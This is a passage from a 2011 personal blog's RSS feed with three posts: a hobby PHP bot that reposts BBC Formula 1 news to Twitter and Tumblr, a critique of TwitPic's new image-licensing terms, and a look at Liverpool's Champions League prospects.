			<content:encoded><![CDATA[<p><img src="http://stevenbullen.com/wp-content/uploads/2011/05/Untitled-2.jpg" alt="" title="BBC Formula 1" width="129" height="129" class="alignright size-full wp-image-870" />I was getting really annoyed with the RSS feed the <a href="http://bbc.co.uk">BBC</a> supplies for the <a href="http://news.bbc.co.uk/sport1/hi/motorsport/formula_one/default.stm">Formula 1</a> section so decided to do something about it.</p>
<h3>Problem</h3>
<p>The BBC was adding the <a href="http://news.bbc.co.uk/sport1/hi/motorsport/formula_one/gossip/default.stm">daily gossip</a> into the RSS feed early in the morning, which meant when I went to check google reader I would need to make sure I didn&#8217;t <em>mark it as read</em> because they would add more gossip as the day progressed. <span id="more-855"></span>Yes I could just check out the site each evening but I am pretty lazy, also pretty anal when my iPhone has a little number 1 sitting on the <a href="http://reederapp.com/">Reeder</a> app <- Highly recommended iPhone,iPad and Mac app for RSS feeds.</p>
<h3>Result</h3>
<p>So I knocked up a page that would gather the information from the BBC website and then update a twitter account (which I could follow) with all the latest updates including the latest gossip.<br />
It took an hour to write it and about an hour to debug any problems that cropped up, will check over the results tomorrow and if needed do a few tweaks but overall it works pretty well. You will also notice a tumblr page below that holds all the information, but also was required as any news that is over 140 characters and has no source link on the BBC.</p>
<blockquote><p>
<del datetime="2011-05-24T21:34:16+00:00">http://twitter.com/bbcf1news</del><br />
<del datetime="2011-05-24T21:34:16+00:00">http://bbcf1news.tumblr.com/ </del><br />
<del datetime="2011-05-24T21:34:16+00:00">Tumblr RSS Feed</del>
</p></blockquote>
<h3>Update</h3>
<p>I have put this on the back burner for the moment. Will come back to it another day/week as got a lot on my plate and don&#8217;t have time to take a good look at it.</p>
<h3>What does it use?</h3>
<ul>
<li>PHP</li>
<li>Twitter oAuth API</li>
<li>Tumblr API</li>
<li>bit.ly API</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://stevenbullen.com/blog/855/unofficial-twitter-tumblr-feed-for-bbc-formula-1-updates/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitpic updates Terms of Service again</title>
		<link>http://stevenbullen.com/blog/796/twitpic-updates-terms-of-service-again/</link>
		<comments>http://stevenbullen.com/blog/796/twitpic-updates-terms-of-service-again/#comments</comments>
		<pubDate>Tue, 10 May 2011 23:12:36 +0000</pubDate>
		<dc:creator>StevenBullen</dc:creator>
				<category><![CDATA[Twitter]]></category>
		<category><![CDATA[TwitPic]]></category>

		<guid isPermaLink="false">http://stevenbullen.com/?p=796</guid>
		<description><![CDATA[How times can change because I wrote a post back in October 2008 about how great this service is for twitter &#8211; Twitpic – A great add-on for twitter TwitPic changes Terms of Service again Earlier it come to my attention due to a retweet 6 hours ago that not everything is what it used [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-full wp-image-206" title="TwitPic" src="http://stevenbullen.com/wp-content/uploads/2009/02/twitpic.png" alt="" width="256" height="99" />How times can change because I wrote a post  back in October 2008 about how great this service is for twitter &#8211; <a href="http://stevenbullen.com/blog/15/twitpic-great-addon-for-twitter/">Twitpic – A great add-on for twitter</a></p>
<h3>TwitPic changes Terms of Service <em>again</em></h3>
<p>Earlier it come to my attention due to a retweet <a href="https://twitter.com/#!/iA/status/67979679562334208">6 hours ago</a> that not everything is what it used to be. (Thank you <a href="https://twitter.com/#!/attaboy">@attaboy</a>)</p>
<blockquote><p>Were you aware that, as of May 4th, by using TwitPic you give them the rights to sell your photos? <a href="http://twitpic.com/terms.do">http://twitpic.com/terms.do</a> I&#8217;m out.</p></blockquote>
<p><span id="more-796"></span><br />
Checking back on the <a href="http://replay.web.archive.org/20081016172110/http://twitpic.com/terms.do">internet archive</a> you can see that the terms of service for TwitPic was something very simple and to the point. In fact the whole terms of service page clocked 111 words and the most important bit concerning Copyright was only 9 words.</p>
<blockquote><p>All images uploaded are copyright © their respective owners</p></blockquote>
<p>Well today the <a href="http://twitpic.com/terms.do">terms of service</a> page has a whopping 1,555 words and the Copyright section hits an amazing 940 words and the part I have a problem with is below</p>
<blockquote><p>You retain all ownership rights to Content uploaded to Twitpic. However, by submitting Content to Twitpic, you hereby grant Twitpic a worldwide, non-exclusive, royalty-free, sublicenseable and transferable license to use, reproduce, distribute, prepare derivative works of, display, and perform the Content in connection with the Service and Twitpic&#8217;s (and its successors&#8217; and affiliates&#8217;) business, including without limitation for promoting and redistributing part or all of the Service (and derivative works thereof) in any media formats and through any media channels.</p></blockquote>
<p>Just to make it clear the new terms of service does make it clear that no third party can use my TwitPic pictures without TwitPic&#8217;s consent. Yes not my consent, but TwitPic&#8217;s.<br />
The problem I have is the section above which state that TwitPic can &#8220;transfer license&#8221; to their &#8220;affiliate&#8221; sites without my permission.</p>
<p>TwitPic have obviously been getting some stick about the terms of service update because they even come out and wrote a post <a href="http://blog.twitpic.com/2011/05/your-content-your-copyrights/">Your content, your copyrights</a> stating the following.</p>
<blockquote><p>To clarify our ToS regarding ownership, you the user retain all copyrights to your photos and videos, it’s your content. Our terms state by uploading content to Twitpic you allow us to distribute that content on twitpic.com and our affiliated partners. This is standard among most user-generated content sites (including Twitter). If you delete a photo or video from Twitpic, that content is no longer viewable.</p></blockquote>
<h3>Conclusion</h3>
<p>I have to confess that whilst writing this post it does come across that most (if not all) of the Twitter photo-sharing services have some form of &#8220;transferable license&#8221; clause in the terms of service which gives me the impression that the best route to go is self-hosting your images. I will be writing a post to export/remove all your images from TwitPic.</p>
<h3 id="update" style="color: #ff0000;">Update</h3>
<p>Well it looks like I was right. According to the <a href="http://www.bjp-online.com/british-journal-of-photography/news/2070167/twitpic-signs-controversial-deal-celebrity-photo-agency">British Journal of Photography</a> it looks like TwitPic have signed a controversial deal with the <a href="http://corp.wenn.com/">WENN</a> company.<br />
This is quite amusing as the email reply I got from TwitPic support today had the following statement in regarding the above paragraph and affiliates.</p>
<blockquote><p>Regarding the second paragraph you quoted: <strong>we are not selling your photos to anyone, and we will not sell your photos to anyone</strong>. The legal language in the paragraph is almost verbatim what you would find in the Terms for any other large media/photo sharing site (I encourage you to look at other&#8217;s Terms&#8211;I won&#8217;t name them, but you probably name 10 off the top of your head.)</p></blockquote>
<p>I have replied back with news that they have signed this deal and do they still stand by what they said, I have a funny feeling my response will be a lot slower than the previous one.</p>
<h3 id="update_two" style="color: #ff0000;">Update 2</h3>
<p>Well I have just received an update to my mail.</p>
<blockquote><p>To put it in the clearest non-legal words (since I&#8217;m not a lawyer&#8211;just a lowly customer service rep) We are selling images from about 150 users&#8211;all of them big name celebrities. You&#8217;re not on the list. We will not be selling your images or trying to make a profit off of you (beyond placing ads on the photo pages on Twitpic.)</p></blockquote>
<h3>TwitPic Exporter</h3>
<p>I have now released the <a href="http://export-twitpic.stevenbullen.com/">TwitPic Exporter</a> by all means check it out if you want to remove your images from TwitPic.</p>
]]></content:encoded>
			<wfw:commentRss>http://stevenbullen.com/blog/796/twitpic-updates-terms-of-service-again/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Could Liverpool make the Champions League in 2012?</title>
		<link>http://stevenbullen.com/blog/739/could-liverpool-make-the-champions-league-in-2012/</link>
		<comments>http://stevenbullen.com/blog/739/could-liverpool-make-the-champions-league-in-2012/#comments</comments>
		<pubDate>Tue, 10 May 2011 06:15:27 +0000</pubDate>
		<dc:creator>StevenBullen</dc:creator>
				<category><![CDATA[Leftovers]]></category>
		<category><![CDATA[Liverpool FC]]></category>

		<guid isPermaLink="false">http://stevenbullen.com/?p=739</guid>
		<description><![CDATA[Well in theory it&#8217;s possible but it would be a long shot and we would need Man City to have some bad results. Here is the table as it stands today. Club P GD PTS 4 Man City 35 21 62 5 Liverpool 36 18 58 6 Tottenham 35 7 56 Games Left To Play [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://stevenbullen.com/wp-content/uploads/2011/05/lfc.jpg"><img class="alignright size-full wp-image-762" title="lfc" src="http://stevenbullen.com/wp-content/uploads/2011/05/lfc.jpg" alt="" width="180" height="180" /></a>Well in theory it&#8217;s possible but it would be a long shot and we would need Man City to have some bad results. Here is the table as it stands today.</p>
<table>
<thead>
<tr>
<th> </th>
<th>Club</th>
<th>P</th>
<th>GD</th>
<th>PTS</th>
</tr>
</thead>
<tbody>
<tr>
<td>4</td>
<td>Man City</td>
<td>35</td>
<td>21</td>
<td>62</td>
</tr>
<tr>
<td>5</td>
<td>Liverpool</td>
<td>36</td>
<td>18</td>
<td>58</td>
</tr>
<tr>
<td>6</td>
<td>Tottenham</td>
<td>35</td>
<td>7</td>
<td>56</td>
</tr>
</tbody>
</table>
<p><span id="more-739"></span></p>
<h3>Games Left To Play</h3>
<p><strong>Liverpool</strong><br />
<strong>H</strong> Liverpool vs Tottenham<br />
<strong>A</strong> Aston Villa vs Liverpool</p>
<p><strong>Man City</strong><br />
<strong>H</strong> Man City vs Tottenham<br />
<strong>H</strong> Man City vs Stoke<br />
<strong>A</strong> Bolton vs Man City</p>
<p>If we win our final two games we will be sitting on 64 points which would guarantee the fifth spot. But if Man City can have some bad results and pick up 2 or less points from the final 3 games then that Champions League spot is viable and could even go down to goal difference.</p>
<p>The biggest problem is that only once this season has Man City had the run of bad results that we need now, that was back in January and it was 2 draws (Birmingham/Notts County) and 1 loss (Aston Villa) other than that they have not gone three games without a win.</p>
<h3>Conclusion</h3>
<p>It&#8217;s possible but I wouldn&#8217;t put a big bet on it! Maybe a small one as a £2 bet could get you a return of £42 at BetFair right now.</p>
<h3>Update &#8211; May 10th 23:08</h3>
<p>Well Man City beat Tottenham 1-0 which puts fourth spot out of our reach. Looks like we will be playing for fifth spot now.</p>
]]></content:encoded>
			<wfw:commentRss>http://stevenbullen.com/blog/739/could-liverpool-make-the-champions-league-in-2012/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

